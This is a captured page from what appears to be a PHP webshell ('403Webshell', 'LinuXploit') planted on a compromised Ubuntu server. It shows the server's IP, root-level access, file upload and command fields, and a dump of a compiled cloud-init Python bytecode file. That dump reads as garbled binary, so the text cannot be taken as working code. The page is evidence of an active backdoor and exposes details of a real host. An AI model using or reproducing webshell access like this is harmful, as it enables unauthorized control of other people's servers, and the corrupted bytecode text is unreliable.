403Webshell
Server IP : 138.197.176.125  /  Your IP : 216.73.217.54
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux SuiteCRM-8 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.3.19
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/cloudinit/sources/helpers/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/cloudinit/sources/helpers/__pycache__/akamai.cpython-38.pyc
U

Ӈg��@s�ddlZddlmZmZmZmZddlmZdddddd	d
�Zee	ee
e	ffd�dd
�Ze
d�dd�Zee	d�dd�Z
dS)�N)�Any�Dict�Optional�Union)�dmiZallow_local_stageZallow_init_stageZ
allow_dhcpZ
allow_ipv4Z
allow_ipv6Zpreferred_mac_prefixes)ZalsZaisZdhcpZv4Zv6�pmp)�returncCsnt�d�}i}|s|St�d|�D]F\}}}|tkr"|dkrJtt|��}n|dkr\|�d�}||t|<q"|S)zH
    Parses flags from dmi data and updates self.ds_cfg accordingly
    zbaseboard-serial-numberz([a-z0-9]+)=(.*?)(;|$)Z01r�,)r�
read_dmi_data�re�findall�DMI_OVERRIDE_MAP�bool�int�split)Z	dmi_flagsZret�key�value�_�r�B/usr/lib/python3/dist-packages/cloudinit/sources/helpers/akamai.py�get_dmi_configs

rcCst�d�}|dkS)zo
    Reads the BIOS vendor from dmi data to determine if we are running in the
    Akamai Connected Cloud.
    zsystem-manufacturer)ZLinodeZAkamai�rr
)Zvendorrrr�is_on_akamai(s
rcCs
t�d�S)zo
    Returns the instance id read from dmi data without requiring the metadata
    service to be reachable
    zsystem-serial-numberrrrrr�get_local_instance_id1sr)r�typingrrrrZ	cloudinitrr
�strrrrrrrrr�<module>s�
	

Youez - 2016 - github.com/yon3zu
LinuXploit